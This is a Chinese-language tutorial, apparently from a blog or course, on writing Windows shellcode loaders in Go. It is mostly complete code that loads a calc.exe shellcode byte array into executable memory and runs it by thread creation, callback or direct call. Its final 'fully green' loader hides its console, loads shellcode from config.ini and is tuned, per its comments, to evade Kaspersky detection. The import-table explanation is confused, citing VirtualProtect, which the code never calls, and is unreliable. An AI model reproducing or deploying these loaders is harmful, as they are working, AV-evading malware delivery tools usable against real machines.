1.加载器回顾¶
还记得之前讲的shellcode和加载器吗?
我们的shellcode无法单独运行, 需要借助加载器, 而加载器的功能就是帮助shellcode运行起来, shellcode想要运行起来呢, 就需要我们把它放到内存中, 然后通过某些方式让其运行, 所以我们加载器要实现的代码就是:
- 申请内存
- 复制shellcode到开辟的内存中
- 通过某些方式运行shellcode
2.go语言调用Windows api¶
而关于内存的一些操作需要借助Windows api, 所以我们要想使用go语言编写加载器.第一个要解决的问题就是如何使用go语言调用Windows api.
2.1syscall包¶
syscall包,提供了与操作系统进行交互的底层函数,即我们需要的那些Windows API。因为是内置的,直接导入即可使用,不需要下载。
通过调用Windows api编写加载器,运行calc的shellcode
package main
import (
"syscall"
"unsafe"
)
func main() {
// 1.加载kernel32.dll,MustLoadDLL
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api,MustFindProc
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
CreateThread := kernel32.MustFindProc("CreateThread")
WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
sc := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50,
0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48,
0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b,
0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48,
0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8,
0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40,
0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba,
0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd,
0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05,
0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00}
// 3.申请内存, 调用通过 函数名.Call() 调用
// 返回三个值,第一个是内存地址
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
// 4.复制sc到申请的内存中
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
// 5.创建线程
thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
// 6.等待线程创建
WaitForSingleObject.Call(thread, 0xFFFFFFFF)
// 7.关闭 DLL
kernel32.Release()
}

查看导入表

在 Windows 上, VirtualAlloc 、VirtualProtect、CreateThread 、 WaitForSingleObject等函数都是在kernel32.dll中导出的。对于RtlMoveMemory,它是在ntdll.dll中导出的。由于 Go 编译器的一些限制,它不能直接从ntdll.dll中导入 RtlMoveMemory,因此 Go 会通过 kernel32.dll 中的 RtlMoveMemory封装函数来调用。
因此,在生成的 PE 文件中,只有kernel32.dll的导出函数会在导入表中直接显示。实际上,RtlMoveMemory 和其他函数会在运行时通过 kernel32.dll 进行间接调用。这是 Go 编译器和运行时环境的设计选择.
在上述的 Go 代码中, VirtualProtect 函数是通过 MustFindProc 从 kernel32.dll 中获取的,但在生成的 PE 文件中没有在导入表中直接列出 VirtualProtect 。这是因为 VirtualProtect函数也是在运行时通过 kernel32.dll 的封装函数进行间接调用。
在实际的 Windows 系统中, VirtualProtect函数是在 kernel32.dll 中导出的,但是 Go 编译器在处理这个函数时,可能会采用一些特殊的处理方式,使其不会直接出现在导入表中。这并不影响程序的正常运行,因为 Go 运行时会负责在运行时解析这些函数的地址并进行调用.
3.go编写加载器¶
3.1创建线程运行¶
package main
import (
"syscall"
"unsafe"
)
func main() {
// 1.加载kernel32.dll,MustLoadDLL
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api,MustFindProc
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
CreateThread := kernel32.MustFindProc("CreateThread")
WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
sc := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50,
0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48,
0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b,
0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48,
0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8,
0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40,
0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba,
0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd,
0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05,
0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00}
// 3.申请内存, 调用通过 函数名.Call() 调用
// 返回三个值,第一个是内存地址
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
// 4.复制sc到申请的内存中
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
// 5.创建线程
thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
// 6.等待线程创建
WaitForSingleObject.Call(thread, 0xFFFFFFFF)
// 7.关闭 DLL
kernel32.Release()
}
3.2回调函数运行¶
EnumDateFormatsA
package main
import (
"syscall"
"unsafe"
)
func main() {
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
//user32 := syscall.MustLoadDLL("user32.dll")
//ntdll := syscall.MustLoadDLL("ntdll.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
procEnumDateFormatsA := kernel32.MustFindProc("EnumDateFormatsA")
sc := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50,
0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48,
0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b,
0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48,
0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8,
0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40,
0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba,
0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd,
0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05,
0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00} // 3.申请内存, 调用通过 函数名.Call() 调用
// 返回三个值,第一个是内存地址
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
// 4.复制sc到申请的内存中
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
// 5.回调函数调用
procEnumDateFormatsA.Call(addr, 0, 0)
// 7.关闭 DLL
kernel32.Release()
}
其他回调函数
3.3系统调用运行¶
package main
import (
"syscall"
"unsafe"
)
func main() {
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
//user32 := syscall.MustLoadDLL("user32.dll")
//ntdll := syscall.MustLoadDLL("ntdll.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
sc := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50,
0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48,
0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b,
0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48,
0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8,
0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40,
0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba,
0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd,
0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05,
0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00} // 3.申请内存, 调用通过 函数名.Call() 调用
// 返回三个值,第一个是内存地址
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
// 4.复制sc到申请的内存中
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
// 5.回调函数调用
syscall.Syscall(addr, 0, 0, 0, 0)
// 7.关闭 DLL
kernel32.Release()
}
4.x步全绿加载器¶
默认版本
package main
import (
"fmt"
"github.com/gonutz/ide/w32"
"os"
"syscall"
"unsafe"
)
// 这部分没问题
func closeWindows(commandShow uintptr) { // 卡巴斯基并不查杀这个
console := w32.GetConsoleWindow()
if console != 0 {
_, consoleProcID := w32.GetWindowThreadProcessId(console)
if w32.GetCurrentProcessId() == consoleProcID {
w32.ShowWindowAsync(console, commandShow)
}
}
}
func main() {
// 这部分没问题
closeWindows(w32.SW_HIDE)
byteSlice, err := os.ReadFile("config.ini")
if err != nil {
fmt.Println("config file is not exist")
return
}
kernel32 := syscall.MustLoadDLL("kernel32.dll")
RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory")
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(byteSlice)), 0x1000, 0x40) // 卡巴斯基查杀 0x1000|0x2000 的内存申请
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&byteSlice[0])), uintptr(len(byteSlice)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
编译命令

全绿版本
package main
import (
"fmt"
"github.com/gonutz/ide/w32"
_ "github.com/spf13/cobra"
"os"
"syscall"
"unsafe"
)
// 这部分没问题
func closeWindows(commandShow uintptr) { // 卡巴斯基并不查杀这个
console := w32.GetConsoleWindow()
if console != 0 {
_, consoleProcID := w32.GetWindowThreadProcessId(console)
if w32.GetCurrentProcessId() == consoleProcID {
w32.ShowWindowAsync(console, commandShow)
}
}
}
func main() {
// 这部分没问题
closeWindows(w32.SW_HIDE)
byteSlice, err := os.ReadFile("config.ini")
if err != nil {
fmt.Println("config file is not exist")
return
}
kernel32 := syscall.MustLoadDLL("kernel32.dll")
RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory")
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(byteSlice)), 0x1000, 0x40) // 卡巴斯基查杀 0x1000|0x2000 的内存申请
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&byteSlice[0])), uintptr(len(byteSlice)))
syscall.Syscall(addr, 0, 0, 0, 0)
}


